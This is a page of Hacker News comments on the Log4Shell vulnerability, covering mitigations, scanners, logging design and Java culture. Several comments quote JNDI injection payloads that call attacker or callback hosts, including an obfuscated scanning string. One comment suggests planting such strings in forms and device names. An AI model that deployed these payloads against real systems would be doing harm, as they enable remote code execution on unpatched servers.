Live data from Hacker News

Log4Shell update: second Log4j vulnerability published

lunasec.io

151–160 of 289 posts

Re: Log4Shell update: second Log4j vulnerability published

#151
post #66

Earlier quoted context omitted.

Election machines usually don't accept any input from outside sources? You can't write in {jndi:ldap://voteforme.com} as your preferred candidate

Depending on the election, you might be able to write in an arbitrary candidate.

Listen, I just think Bobby Tables has the right idea about taxes.

Re: Log4Shell update: second Log4j vulnerability published

#152
post #84

We have published a mitigation for K8s which could be applied by 1. blocking outbound jndi lookups through a network policy 2. Blocking possible execs from the Java Process: https://blog.accuknox.com/log-4j-exploit-and-mitigation/

As I understood, your policy blocks LDAP port (389). All of the scanning I see in logs at the moment use port 80: "${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}"

Re: Log4Shell update: second Log4j vulnerability published

#153
post #8

Write simple software. The fact that log.Debug(someString) means someString is actually a format string in an elaborate domain-specific language instead of simple goddamned text is emblematic of the crisis the industry is in.

I don't use java and have never touched log4j, but structured logs are utterly fantastic and combined with an appropriate log server are far more useful than plain text.

Parsing java logs isn't fun. Lots of libraries do their own mini-formats, suddenly multi-line stacktraces appear.

Re: Log4Shell update: second Log4j vulnerability published

#154
post #14

Their scanner linked from their Mitigation Guide didn't work for me at all. I scanned a bunch of ear, war, and jar files that have log4j 2.x in them and it didn't find any of them. I guess for the reason described here: https://github.com/lunasec-io/lunasec/issues/301 This is less than helpful if people use this and then believe they are safe.

We'll get on this tomorrow to help make this right. It's hard work dealing with all of the complexity that comes from parsing and patching Java packages! (that's part of the reason we wrote our exploit payload to patch a running Java service in-memory -- it was actually more straightforward than this tool. >.<)

Re: Log4Shell update: second Log4j vulnerability published

#155
post #123
post #114

Earlier quoted context omitted.

> From scratch and with minimalism as a guideline. I am not sure I ever saw a minimal Java program (but I am not a Java programmer, so maybe it is just my limited perspective).

Really, what's the point of a quip like this? That's like saying I never saw a Lisp program that didn't have a lot of brackets. Minimal only makes sense within one language ecosystem. Java tends to be more verbose than some other languages, I guess that is common knowledge.

In a corporate setting he's probably right. Java came of age in the early 00s when a new generation of programmers were seeking a revolution, and there was a Cambrian explosion of interfaces, modularity, and pluggability, first with J2EE and with Spring being the second wave. The pendulum of change is always in swing, and with time some people grew tired (but many didn't) of enormous "enterprise" application frameworks and sought minimalism again in their systems (see also [1] in general and [2] for something in this vein relevant to the bug in question.)

"Don't hate the player, hate the game."

[1] http://iam.georgecox.com/wp-content/uploads/2021/12/wirth-a-...

[2] https://tinylog.org/v2/

Re: Log4Shell update: second Log4j vulnerability published

#156

It's funny that this vuln kind of already exists in other software that uses printf() allowing the user to specify the format string. (Not nearly as easy as this particular bug of course!) Maybe we'll have a mini renaissance of format string vulns now?

Played around with python for a similar attack and while it needs import and usage of f-string's i was rather taken back how easy it would be to spam the internet with `f"""{exec("import urllib.request;urllib.request.urlopen(' http://localhost:8000').read ()")}"""` and variants, see what servers bite and then try to send them a more potent attack. So i personally believe log4sh type attacks across languages will beco…

Python f-strings don't work like that. The expression is evaluated when the string constant is defined, not when it's used, so your scenario is "code execution leads to code execution".

  >>> def server(userdata):
  ...   print("Your data:", userdata)
  ... 
  >>> value = f"Printing... {print('Eval!')}"
  Eval!
  >>> server(value)
  Your data: Printing... None

Re: Log4Shell update: second Log4j vulnerability published

#157
post #45

Earlier quoted context omitted.

That's definitely very fair! You could throw it into the constructor of your app right after you init log4j, at least. I've been surprised (and horrified) to learn that there are companies out there that _can't reboot their servers_ because they simply don't know how to bring the app back up. For them... live patching is the only options. Blows my mind, but that's reality (apparently)!

Server uptime used to be a point of pride. Now people try to shut them down as often as they can. Funny how things change.

We moved a lot of things from "that one server that's setup just-so by hand" to automated and repeatable setups. If we had more/ cheaper servers before, we'd likely get there earlier.

Re: Log4Shell update: second Log4j vulnerability published

#159

Earlier quoted context omitted.

It’s a process circus. Once something gets raised as a critical IT issue in a large org, it’s not enough to “just fix the problem” or state that you aren’t affected due to network security etc. You have to report about it, which means you likely need a comment from a vendor. The most humorous thing for me about this entire situation is that the way reporting is handle in many orgs is: Central IT: Are we vulnerable in…

The log4j v1 RCE is (IIRC!) only applicable when you run it in SocketServer mode... which most users don't. So yes, a dumb scanner will whine, but intelligent users will see it's a false alarm.

One of the exploits in log4jv1 is known about and acts like that. How many aren't known about but have cropped up in the last 6 years and quietly been exploited.

Re: Log4Shell update: second Log4j vulnerability published

#160

This vulnerability is like PFAS, it's going to be around forever. log4j is in so many things, things no one might think would have it. Probably a ton of old stuff people don't think to update or can (thinking consumer routers).

Too much fun to think about the ways to get hits. All it takes is a simple string. Start filling out paper forms with ${jndi:ldap://attackerserver.com:1389/ExploitPayload} as your name and wait for the responses. It'll get digitized somewhere and it's not like a timeshare condo will have a security team behind the scenes. Rename your computer and wifi network. Telemetry is everywhere, you'll probably get some hits. N…

Reminds me of old Bobby Tables :-)

https://xkcd.com/327/

Post reply on HN